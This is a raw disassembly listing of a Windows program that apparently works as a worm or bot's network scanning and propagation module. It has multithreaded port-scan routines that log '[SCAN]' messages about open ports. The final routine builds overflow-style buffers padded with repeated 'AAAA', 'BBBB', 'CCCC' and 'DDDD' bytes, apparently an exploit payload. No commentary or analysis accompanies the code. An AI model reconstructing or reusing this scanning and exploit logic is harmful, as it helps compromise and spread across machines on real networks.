lea edx, [esp+128h+var_11C]
push edx
lea eax, [esp+12Ch+var_104]
push 0
push eax
push 0
push 0
mov [esp+13Ch+var_11C], ecx
mov [esp+13Ch+var_118], 0
mov [esp+13Ch+var_100], esi
mov [esp+13Ch+var_104], edi
nop
call near ptr 71AB2DC0h
push esi
mov edi, eax
nop
call near ptr 71AB9639h
xor eax, eax
test edi, edi
pop edi
pop esi
setnle al
add esp, 120h
retn
sub_423850 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_423940: ; CODE XREF: ___:00401046j
mov eax, 10110h
call sub_436840
push ebx
push ebp
mov ebp, dword_50FC2C
push esi
push edi
push 2649h
call ebp
mov [esp+24h], ax
mov eax, [esp+1012Ch]
push eax
call ebp
mov [esp+26h], ax
nop
call near ptr 77C371D3h
xor ebx, ebx
push 200h
mov [esp+2Ch], eax
mov [esp+30h], ebx
mov [esp+34h], bx
mov [esp+44h], bx
mov word ptr [esp+36h], 5
mov [esp+38h], bx
mov word ptr [esp+3Ah], 1
mov [esp+3Ch], bx
mov [esp+3Eh], bx
mov [esp+40h], bx
mov [esp+42h], bx
call ebp
mov ecx, [esp+10124h]
mov edx, [esp+10128h]
push 24h
mov [esp+46h], ax
mov [esp+48h], bx
mov [esp+4Ah], bx
mov [esp+4Ch], ecx
mov [esp+50h], edx
mov [esp+54h], bl
mov byte ptr [esp+55h], 6
call ebp
mov [esp+52h], ax
mov ecx, 9
lea esi, [esp+24h]
lea edi, [esp+54h]
lea eax, [esp+48h]
push 20h
rep movsd
push eax
call sub_401A28
mov edx, [esp+10134h]
xor ecx, ecx
mov [esp+1Ch], ecx
add esp, 8
mov [esp+18h], ecx
mov [esp+44h], ax
mov [esp+1Ch], ecx
push edx
mov [esp+24h], ecx
mov word ptr [esp+18h], 2
call ebp
mov [esp+16h], ax
mov eax, [esp+10128h]
push 6
push 3
push 2
mov [esp+24h], eax
mov dword ptr [esp+1Ch], 10h
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_423A69
push offset aSocketOpenFail ; "socket open failed"
jmp loc_423B68
; ---------------------------------------------------------------------------
loc_423A69: ; CODE XREF: ___:00423A5Dj
mov ecx, [esp+10h]
lea edx, [esp+14h]
push ecx
push edx
push ebx
lea eax, [esp+30h]
push 24h
push eax
push esi
call near ptr 71AB2C69h
nop
mov edi, eax
cmp edi, 14h
jz short loc_423AC2
nop
call near ptr 71AB94DCh
push eax
push edi
lea ecx, [esp+70h]
push offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
push ecx
nop
call near ptr byte_5EA1BD
lea edx, [esp+78h]
push edx
call sub_4010D2
add esp, 14h
push esi
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 10110h
retn
; ---------------------------------------------------------------------------
loc_423AC2: ; CODE XREF: ___:00423A87j
mov ecx, 400Dh
xor eax, eax
lea edi, [esp+0E8h]
mov ebp, 2649h
rep stosd
stosw
stosb
cmp [esp+0FEh], bp
jz short loc_423B13
mov edi, dword_50FC58
loc_423AEA: ; CODE XREF: ___:00423B11j
lea eax, [esp+10h]
lea ecx, [esp+14h]
push eax
push ecx
push ebx
lea edx, [esp+0F4h]
push 10037h
push edx
push esi
call edi
test eax, eax
jl short loc_423B42
cmp [esp+0FEh], bp
jnz short loc_423AEA
loc_423B13: ; CODE XREF: ___:00423AE2j
push esi
call near ptr 71AB9639h
nop
cmp word ptr [esp+10Eh], 1
jnz short loc_423B63
push offset aSocketOpen_ ; "Socket open."
call sub_4010D2
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 10110h
retn
; ---------------------------------------------------------------------------
loc_423B42: ; CODE XREF: ___:00423B07j
push offset aRecvfromSocket ; "recvfrom() socket failed"
call sub_4010D2
add esp, 4
push esi
call near ptr 71AB9639h
nop
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 10110h
retn
; ---------------------------------------------------------------------------
loc_423B63: ; CODE XREF: ___:00423B23j
push offset dword_44466C
loc_423B68: ; CODE XREF: ___:00423A64j
call sub_4010D2
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 10110h
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 90h dup(0CCh)
; ---------------------------------------------------------------------------
loc_423C10: ; CODE XREF: ___:loc_401F23j
sub esp, 290h
mov eax, [esp+294h]
push ebx
push ebp
push esi
push edi
mov ecx, 53h
mov esi, eax
lea edi, [esp+18h]
rep movsd
mov esi, [esp+13Ch]
mov ecx, [esp+140h]
mov [esp+10h], esi
mov [esp+14h], ecx
mov dword ptr [eax+148h], 1
nop
call near ptr 27D091Eh
push eax
nop
call near ptr 77C371BCh
lea eax, [esi+esi*2]
add esp, 4
shl eax, 4
sub eax, esi
lea eax, [eax+eax*2]
lea ebp, ds:448FBBh[eax*4]
mov eax, dword_4491BF[eax*4]
mov ecx, dword_50BB84[eax*8]
test ecx, ecx
jz loc_423EC4
mov ebx, dword_50FBF0
loc_423C8C: ; CODE XREF: ___:00423EBAj
mov ecx, [esp+158h]
push eax
test ecx, ecx
jz short loc_423CA7
lea edx, [esp+1Ch]
push edx
call sub_401131
add esp, 8
jmp short loc_423CAF
; ---------------------------------------------------------------------------
loc_423CA7: ; CODE XREF: ___:00423C96j
call sub_401F37
add esp, 4
loc_423CAF: ; CODE XREF: ___:00423CA5j
mov ecx, [ebp+204h]
mov edx, [esp+12Ch]
mov edi, dword_50FC78
mov esi, eax
mov eax, [esp+14h]
push eax
push ecx
push edx
push esi
call edi
push eax
lea eax, [esp+230h]
push offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"...
push eax
call ebx
add esp, 18h
lea ecx, [esp+220h]
push ecx
push ebp
call ebx
mov edx, [esp+138h]
mov eax, [esp+134h]
push edx
push eax
push esi
call sub_401E38
add esp, 14h
cmp eax, 1
jnz loc_423EA0
cmp dword ptr [esp+148h], 0FFFFFFFFh
jnz loc_423DC2
push offset dword_50DAC0
nop
call near ptr 7C901005h
mov ecx, [esp+12Ch]
push ecx
push esi
call edi
push eax
lea edx, [esp+228h]
push offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open."
push edx
call ebx
mov eax, [esp+164h]
add esp, 10h
test eax, eax
jnz short loc_423DA2
mov al, [esp+0A8h]
test al, al
jz short loc_423D7D
mov eax, [esp+150h]
lea ecx, [esp+220h]
push eax
mov eax, [esp+12Ch]
lea edx, [esp+0ACh]
push ecx
push edx
push eax
jmp short loc_423D9A
; ---------------------------------------------------------------------------
loc_423D7D: ; CODE XREF: ___:00423D59j
mov ecx, [esp+150h]
lea edx, [esp+220h]
push ecx
mov ecx, [esp+12Ch]
lea eax, [esp+2Ch]
push edx
push eax
push ecx
loc_423D9A: ; CODE XREF: ___:00423D7Bj
call sub_401523
add esp, 10h
loc_423DA2: ; CODE XREF: ___:00423D4Ej
lea edx, [esp+220h]
push edx
call sub_4010D2
add esp, 4
push offset dword_50DAC0
nop
call near ptr 7C9010EDh
jmp loc_423EA0
; ---------------------------------------------------------------------------
loc_423DC2: ; CODE XREF: ___:00423D16j
push esi
call edi
push eax
lea eax, [esp+16Ch]
push eax
call ebx
mov eax, [esp+150h]
add esp, 8
lea eax, [eax+eax*2]
lea ecx, [eax+eax*4]
lea eax, [esp+1F8h]
lea edx, ds:444410h[ecx*4]
push edx
push eax
call ebx
mov al, [esp+0B0h]
add esp, 8
test al, al
jz short loc_423E12
lea ecx, [esp+0A8h]
lea edx, [esp+178h]
push ecx
push edx
jmp short loc_423E1F
; ---------------------------------------------------------------------------
loc_423E12: ; CODE XREF: ___:00423DFEj
lea eax, [esp+28h]
lea ecx, [esp+178h]
push eax
push ecx
loc_423E1F: ; CODE XREF: ___:00423E10j
call ebx
mov eax, [esp+158h]
mov edx, [esp+130h]
mov ecx, [esp+15Ch]
mov [esp+21Ah], eax
mov eax, [esp+18h]
add esp, 8
mov [esp+164h], edx
mov edx, [esp+12Ch]
mov [esp+206h], eax
mov eax, [esp+148h]
sub esp, 0BCh
mov [esp+2D2h], ecx
mov ecx, 2Eh
lea esi, [esp+220h]
mov edi, esp
mov [esp+2BEh], edx
mov [esp+2C6h], eax
lea eax, [eax+eax*2]
rep movsd
lea edx, [eax+eax*4]
movsw
call off_44443C[edx*4]
add esp, 0BCh
loc_423EA0: ; CODE XREF: ___:00423D08j
; ___:00423DBDj
push 7D0h
nop
call near ptr 2820000h
mov eax, [ebp+204h]
mov ecx, dword_50BB84[eax*8]
test ecx, ecx
jnz loc_423C8C
mov esi, [esp+10h]
loc_423EC4: ; CODE XREF: ___:00423C80j
push esi
call sub_401E24
add esp, 4
push 0
call near ptr 2820144h
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
; ---------------------------------------------------------------------------
db 0C0h dup(0CCh)
; ---------------------------------------------------------------------------
loc_423FA0: ; CODE XREF: sub_402261j
mov eax, [esp+4]
sub esp, 1CCh
mov ecx, 53h
push ebx
push ebp
push esi
push edi
mov esi, eax
lea edi, [esp+10h]
mov ebx, 1
rep movsd
mov [eax+144h], ebx
lea eax, [esp+10h]
push eax
nop
call near ptr 71AB2BF4h
sub esp, 14Ch
lea esi, [esp+15Ch]
mov ecx, [esp+27Ch]
mov edi, esp
mov dword_50BB80[ecx*8], eax
mov ecx, 53h
rep movsd
call j_nullsub_9
push 3
call sub_401483
add esp, 150h
cmp eax, ebx
jnz short loc_424021
push offset dword_50DAC0
call near ptr 2760000h
nop
push offset dword_50DAC0
call near ptr 276076Ch
nop
loc_424021: ; CODE XREF: ___:00424009j
mov edx, [esp+130h]
mov eax, [esp+13Ch]
mov ebp, dword_50F8D0
mov esi, ebx
mov dword_50BB84[edx*8], ebx
cmp eax, ebx
mov ebx, dword_50FBF0
jb loc_424150
mov edi, dword_50F860
loc_424052: ; CODE XREF: ___:0042414Aj
mov eax, [esp+130h]
mov ecx, [esp+124h]
push esi
push eax
lea edx, [esp+18h]
push ecx
push edx
lea eax, [esp+16Ch]
push offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"...
push eax
mov [esp+150h], esi
call ebx
push 0
lea ecx, [esp+178h]
push 3
push ecx
call sub_401BD6
lea ecx, [eax+eax*2]
add esp, 24h
shl ecx, 4
sub ecx, eax
push 0
push 0
mov [esp+13Ch], eax
mov eax, [esp+138h]
lea edx, [ecx+ecx*2]
lea ecx, [esp+18h]
push ecx
push offset loc_401F23
push 0
push 0
mov dword_4491BF[edx*4], eax
call edi
mov edx, [esp+134h]
lea ecx, [edx+edx*2]
shl ecx, 4
sub ecx, edx
lea edx, [ecx+ecx*2]
mov dword_4491CF[edx*4], eax
mov ecx, [esp+134h]
lea eax, [ecx+ecx*2]
shl eax, 4
sub eax, ecx
lea eax, [eax+eax*2]
mov ecx, dword_4491CF[eax*4]
test ecx, ecx
jz short loc_424118
mov eax, [esp+158h]
test eax, eax
jnz short loc_42413E
loc_424107: ; CODE XREF: ___:00424114j
push 1Eh
call ebp
mov eax, [esp+158h]
test eax, eax
jz short loc_424107
jmp short loc_42413E
; ---------------------------------------------------------------------------
loc_424118: ; CODE XREF: ___:004240FAj
nop
call near ptr 27A0799h
push eax
lea ecx, [esp+160h]
push offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "...
push ecx
call ebx
lea edx, [esp+168h]
push edx
call sub_4010D2
add esp, 10h
loc_42413E: ; CODE XREF: ___:00424105j
; ___:00424116j
push 1Eh
call ebp
inc esi
cmp esi, [esp+13Ch]
jbe loc_424052
loc_424150: ; CODE XREF: ___:00424046j
mov eax, [esp+12Ch]
test eax, eax
jz short loc_42417E
lea eax, [eax+eax*2]
lea eax, [eax+eax*4]
lea eax, [eax+eax*4]
lea eax, [eax+eax*4]
lea eax, [eax+eax*4]
shl eax, 5
push eax
call ebp
mov esi, 1
mov eax, [esp+12Ch]
jmp short loc_4241B1
; ---------------------------------------------------------------------------
loc_42417E: ; CODE XREF: ___:00424159j
mov ecx, [esp+130h]
mov esi, 1
cmp dword_50BB84[ecx*8], esi
jnz short loc_4241B1
loc_424193: ; CODE XREF: ___:004241A8j
push 7D0h
call ebp
mov edx, [esp+130h]
cmp dword_50BB84[edx*8], esi
jz short loc_424193
mov eax, [esp+12Ch]
loc_4241B1: ; CODE XREF: ___:0042417Cj
; ___:00424191j
mov ecx, [esp+130h]
mov edx, [esp+124h]
push eax
push edx
mov ecx, dword_50BB80[ecx*8]
push ecx
nop
call near ptr 71AB3F41h
push eax
lea eax, [esp+168h]
push offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"...
push eax
call ebx
mov eax, [esp+160h]
add esp, 14h
test eax, eax
jnz short loc_424212
mov ecx, [esp+148h]
lea edx, [esp+15Ch]
push ecx
mov ecx, [esp+124h]
lea eax, [esp+24h]
push edx
push eax
push ecx
call sub_401523
add esp, 10h
loc_424212: ; CODE XREF: ___:004241EBj
lea edx, [esp+15Ch]
push edx
call sub_4010D2
mov eax, [esp+134h]
add esp, 4
push 0BB8h
mov dword_50BB84[eax*8], 0
call ebp
push 3
call sub_401483
add esp, 4
cmp eax, esi
jnz short loc_424254
push offset dword_50DAC0
nop
call near ptr 2760000h
loc_424254: ; CODE XREF: ___:00424247j
mov ecx, [esp+130h]
push ecx
call sub_401E24
add esp, 4
push 0
nop
call near ptr 2820144h
nop
nop
nop
nop
; ---------------------------------------------------------------------------
db 0C0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424330 proc near ; CODE XREF: sub_4012A8j
mov eax, ecx
mov dword ptr [eax+4], 0
mov dword ptr [eax], 0
retn
sub_424330 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_424350: ; CODE XREF: ___:004015E1j
mov edx, [esp+4]
sub esp, 8
xor eax, eax
push esi
mov esi, ecx
push edi
mov edi, edx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
push ecx
push edx
lea ecx, [esp+10h]
call sub_401834
mov ecx, [eax]
pop edi
mov [esi], ecx
mov edx, [eax+4]
mov eax, esi
mov [esi+4], edx
pop esi
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4243A0 proc near ; CODE XREF: sub_401834j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push ebp
mov ebp, [esp+8+arg_4]
mov ebx, ecx
push ebp
nop
call near ptr 77C2C407h
mov edx, eax
add esp, 4
test edx, edx
jz short loc_4243F2
mov ecx, ebp
push esi
mov esi, ecx
push edi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+10h+arg_0]
and ecx, 3
rep stosb
mov ecx, ebp
mov edi, edx
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, ebx
and ecx, 3
rep movsb
pop edi
mov [ebx+4], ebp
pop esi
mov [ebx], edx
pop ebp
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_4243F2: ; CODE XREF: sub_4243A0+16j
mov eax, ebx
pop ebp
pop ebx
retn 8
sub_4243A0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424420 proc near ; CODE XREF: sub_4021D5j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
push ebx
mov ebx, ecx
push ebp
mov ecx, [esp+8+arg_C]
lea ebp, [eax+ecx]
push ebp
nop
call near ptr 77C2C407h
mov edx, eax
add esp, 4
test edx, edx
jz short loc_424494
mov ecx, ebp
push esi
mov esi, ecx
push edi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+10h+arg_0]
and ecx, 3
rep stosb
mov ecx, [esp+10h+arg_4]
mov edi, edx
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ecx, [esp+10h+arg_C]
mov esi, [esp+10h+arg_8]
lea edi, [edx+eax]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, ebx
and ecx, 3
rep movsb
pop edi
mov [ebx+4], ebp
pop esi
mov [ebx], edx
pop ebp
pop ebx
retn 10h
; ---------------------------------------------------------------------------
loc_424494: ; CODE XREF: sub_424420+1Dj
mov eax, ebx
pop ebp
pop ebx
retn 10h
sub_424420 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4244C0 proc near ; CODE XREF: sub_4016B8j
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_4244D3
push eax
call near ptr 77C2C21Bh
nop
add esp, 4
loc_4244D3: ; CODE XREF: sub_4244C0+7j
mov dword ptr [esi+4], 0
mov dword ptr [esi], 0
pop esi
retn
sub_4244C0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424500 proc near ; CODE XREF: sub_4010A0j
var_4 = dword ptr -4
push ecx
push ebx
mov ebx, ecx
push ebp
push esi
mov eax, [ebx+4]
cmp eax, 0FFFFh
jl short loc_424517
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_424517: ; CODE XREF: sub_424500+Ej
xor ecx, ecx
cmp eax, 7Fh
setnl cl
dec ecx
and ecx, 0FFFFFFFEh
add ecx, 3
mov esi, ecx
add eax, esi
mov [esp+10h+var_4], esi
push eax
call near ptr 77C2C407h
nop
mov ebp, eax
add esp, 4
test ebp, ebp
jnz short loc_424545
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_424545: ; CODE XREF: sub_424500+3Cj
push edi
mov edi, [ebx+4]
mov ecx, esi
xor eax, eax
add ecx, edi
mov edi, ebp
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
cmp esi, 1
rep stosb
jnz short loc_424574
mov al, [ebx+4]
lea edi, [ebp+1]
mov [ebp+0], al
mov ecx, [ebx+4]
mov esi, [ebx]
jmp short loc_42458F
; ---------------------------------------------------------------------------
loc_424574: ; CODE XREF: sub_424500+62j
mov byte ptr [ebp+0], 82h
mov eax, [ebx+4]
sar eax, 8
mov [ebp+1], al
mov cl, [ebx+4]
mov [ebp+2], cl
mov ecx, [ebx+4]
mov esi, [ebx]
lea edi, [ebp+3]
loc_42458F: ; CODE XREF: sub_424500+72j
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov eax, [ebx]
push eax
nop
call near ptr 77C2C21Bh
mov ecx, [esp+18h+var_4]
mov eax, [ebx+4]
add esp, 4
add eax, ecx
mov [ebx], ebp
mov [ebx+4], eax
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
pop ecx
retn
sub_424500 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4245F0 proc near ; CODE XREF: sub_401B68j
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 8
push ebx
push ebp
mov ebp, ecx
mov eax, [ebp+4]
mov ecx, [ebp+0]
push eax
push ecx
push 1
push offset dword_446F64
lea ecx, [esp+20h+var_8]
call sub_4021D5
lea ecx, [esp+10h+var_8]
call sub_4010A0
mov edx, [esp+10h+var_4]
inc edx
push edx
nop
call near ptr 77C2C407h
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_424635
pop ebp
xor al, al
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_424635: ; CODE XREF: sub_4245F0+3Bj
mov eax, [esp+10h+var_4]
push esi
push edi
mov edi, ebx
lea ecx, [eax+1]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
mov byte ptr [ebx], 3
mov ecx, [esp+18h+var_4]
mov esi, [esp+18h+var_8]
mov eax, ecx
lea edi, [ebx+1]
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ecx, ebp
call sub_4016B8
mov ecx, [esp+18h+var_4]
mov [ebp+0], ebx
inc ecx
mov [ebp+4], ecx
lea ecx, [esp+18h+var_8]
call sub_4016B8
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 8
retn
sub_4245F0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4246D0 proc near ; CODE XREF: sub_4012C6j
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
sub esp, 8
push esi
mov esi, ecx
mov ecx, [esp+0Ch+arg_0]
push eax
mov edx, [esi+4]
mov eax, [esi]
push ecx
push edx
push eax
lea ecx, [esp+1Ch+var_8]
call sub_4021D5
mov ecx, esi
call sub_4016B8
mov ecx, [esp+0Ch+var_8]
mov edx, [esp+0Ch+var_4]
mov [esi], ecx
mov [esi+4], edx
mov al, 1
pop esi
add esp, 8
retn 8
sub_4246D0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424720 proc near ; CODE XREF: sub_402036j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov edx, ecx
push edi
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
push esi
mov ecx, edx
call sub_4012C6
pop edi
pop esi
retn 4
sub_424720 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424760 proc near ; CODE XREF: sub_4014FBj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov edx, [esp+arg_0]
push eax
push edx
call sub_4012C6
retn 8
sub_424760 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424790 proc near ; CODE XREF: sub_4017CBj
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 8
push esi
mov esi, ecx
call sub_4010A0
test al, al
jnz short loc_4247A4
pop esi
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_4247A4: ; CODE XREF: sub_424790+Dj
mov eax, [esi+4]
mov ecx, [esi]
push eax
push ecx
push 1
push offset dword_444B94
lea ecx, [esp+1Ch+var_8]
call sub_4021D5
mov ecx, esi
call sub_4016B8
mov edx, [esp+0Ch+var_8]
mov eax, [esp+0Ch+var_4]
mov [esi], edx
mov [esi+4], eax
mov al, 1
pop esi
add esp, 8
retn
sub_424790 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424800 proc near ; CODE XREF: sub_401EABj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, ecx
push eax
mov ecx, [esp+8+arg_0]
push ecx
mov ecx, esi
call sub_4014FB
test al, al
jnz short loc_42481C
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_42481C: ; CODE XREF: sub_424800+16j
mov ecx, esi
call sub_4017CB
pop esi
retn 8
sub_424800 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424840 proc near ; CODE XREF: sub_401BEAj
var_858 = dword ptr -858h
var_854 = dword ptr -854h
var_850 = dword ptr -850h
var_84C = dword ptr -84Ch
var_848 = dword ptr -848h
var_844 = dword ptr -844h
var_840 = dword ptr -840h
var_83C = dword ptr -83Ch
var_838 = dword ptr -838h
var_834 = dword ptr -834h
var_830 = dword ptr -830h
var_82C = dword ptr -82Ch
var_828 = dword ptr -828h
var_824 = dword ptr -824h
var_820 = dword ptr -820h
var_81C = dword ptr -81Ch
var_818 = dword ptr -818h
var_814 = dword ptr -814h
var_810 = dword ptr -810h
var_80C = dword ptr -80Ch
var_808 = dword ptr -808h
var_804 = dword ptr -804h
var_800 = byte ptr -800h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
sub esp, 858h
lea ecx, [esp+858h+var_818]
push ebx
push esi
call sub_4012A8
mov esi, [esp+860h+arg_8]
cmp esi, 408h
jg loc_424C15
mov ebx, [esp+860h+arg_10]
lea eax, [ebx+8]
cmp eax, 408h
ja loc_424C15
push edi
lea ecx, [esp+864h+var_830]
call sub_4012A8
lea ecx, [esp+864h+var_840]
call sub_4012A8
lea ecx, [esp+864h+var_810]
call sub_4012A8
lea ecx, [esp+864h+var_848]
call sub_4012A8
lea ecx, [esp+864h+var_820]
call sub_4012A8
lea ecx, [esp+864h+var_828]
call sub_4012A8
lea ecx, [esp+864h+var_838]
call sub_4012A8
push 4
push offset dword_444830
lea ecx, [esp+86Ch+var_830]
call sub_4012C6
push 3
push offset dword_444838
lea ecx, [esp+86Ch+var_830]
call sub_4012C6
lea ecx, [esp+864h+var_830]
call sub_401B68
lea ecx, [esp+864h+var_830]
call sub_4017CB
mov ecx, 200h
mov eax, 42424242h
lea edi, [esp+864h+var_800]
push 8
rep stosd
push offset aRbrbrbrb ; "BBBB"
lea ecx, [esp+86Ch+var_840]
call sub_4012C6
mov ecx, [esp+864h+arg_C]
push ebx
push ecx
lea ecx, [esp+86Ch+var_840]
call sub_4012C6
mov ebx, [esp+864h+var_83C]
mov edx, 409h
sub edx, ebx
lea eax, [esp+864h+var_800]
push edx
push eax
lea ecx, [esp+86Ch+var_840]
call sub_4012C6
lea ecx, [esp+864h+var_840]
call sub_401B68
push offset loc_444BB8
lea ecx, [esp+868h+var_810]
call sub_402036
lea ecx, [esp+864h+var_810]
call sub_401B68
mov ecx, 200h
mov eax, 44444444h
lea edi, [esp+864h+var_800]
push 410h
rep stosd
lea ecx, [esp+868h+var_800]
push ecx
lea ecx, [esp+86Ch+var_808]
call sub_401834
lea ecx, [esp+864h+var_808]
call sub_401B68
mov edx, [esp+864h+var_804]
mov eax, [esp+864h+var_808]
push edx
push eax
lea ecx, [esp+86Ch+var_810]
call sub_401EAB
lea ecx, [esp+864h+var_808]
call sub_4016B8
mov ecx, 200h
mov eax, 43434343h
lea edi, [esp+864h+var_800]
push offset aCccc ; "CCCC"
rep stosd
lea ecx, [esp+868h+var_848]
call sub_402036
push 4
push offset dword_44483C
lea ecx, [esp+86Ch+var_848]
call sub_4012C6
mov ecx, [esp+864h+arg_4]
push esi
push ecx
lea ecx, [esp+86Ch+var_848]
call sub_4012C6
mov edx, 408h
lea eax, [esp+864h+var_800]
sub edx, esi
lea ecx, [esp+864h+var_848]
push edx
push eax
call sub_4012C6
lea ecx, [esp+864h+var_848]
call sub_401B68
mov ecx, [esp+864h+var_844]
mov edx, [esp+864h+var_848]
push ecx
push edx
lea ecx, [esp+86Ch+var_820]
call sub_4014FB
mov eax, [esp+864h+var_80C]
mov ecx, [esp+864h+var_810]
push eax
push ecx
lea ecx, [esp+86Ch+var_820]
call sub_4014FB
lea ecx, [esp+864h+var_820]
call sub_4017CB
lea ecx, [esp+864h+var_848]
call sub_4016B8
lea ecx, [esp+864h+var_810]
call sub_4016B8
mov edx, [esp+864h+var_83C]
mov eax, [esp+864h+var_840]
push edx
push eax
lea ecx, [esp+86Ch+var_828]
call sub_4014FB
mov ecx, [esp+864h+var_82C]
mov edx, [esp+864h+var_830]
push ecx
push edx
lea ecx, [esp+86Ch+var_828]
call sub_4014FB
mov eax, [esp+864h+var_81C]
mov ecx, [esp+864h+var_820]
push eax
push ecx
lea ecx, [esp+86Ch+var_828]
call sub_4014FB
lea ecx, [esp+864h+var_828]
call sub_4017CB
lea ecx, [esp+864h+var_840]
call sub_4016B8
lea ecx, [esp+864h+var_830]
call sub_4016B8
lea ecx, [esp+864h+var_820]
call sub_4016B8
mov ecx, 200h
mov eax, 41414141h
lea edi, [esp+864h+var_800]
lea edx, [esp+864h+var_800]
rep stosd
push 400h
push edx
lea ecx, [esp+86Ch+var_838]
call sub_4012C6
lea ecx, [esp+864h+var_838]
call sub_401B68
push 2
push offset dword_444BAC
lea ecx, [esp+86Ch+var_838]
call sub_4012C6
mov eax, [esp+864h+var_824]
mov ecx, [esp+864h+var_828]
push eax
push ecx
lea ecx, [esp+86Ch+var_838]
call sub_4014FB
lea ecx, [esp+864h+var_838]
call sub_4017CB
lea ecx, [esp+864h+var_828]
call sub_4016B8
lea ecx, [esp+864h+var_850]
call sub_4012A8
lea ecx, [esp+864h+var_858]
call sub_4012A8
mov edx, [esp+864h+var_834]
mov eax, [esp+864h+var_838]
push edx
push eax
lea ecx, [esp+86Ch+var_850]
call sub_4014FB
lea ecx, [esp+864h+var_850]
call sub_4010A0
lea ecx, [esp+864h+var_838]
call sub_4016B8
push offset dword_444BA8
lea ecx, [esp+868h+var_858]
call sub_402036
mov ecx, [esp+864h+var_84C]
mov edx, [esp+864h+var_850]
push ecx
push edx
lea ecx, [esp+86Ch+var_858]
call sub_4014FB
lea ecx, [esp+864h+var_858]
call sub_4010A0
lea ecx, [esp+864h+var_850]
call sub_4016B8
push offset dword_443E80
lea ecx, [esp+868h+var_850]
call sub_402036
mov eax, [esp+864h+var_854]
mov ecx, [esp+864h+var_858]
push eax
push ecx
lea ecx, [esp+86Ch+var_850]
call sub_4014FB
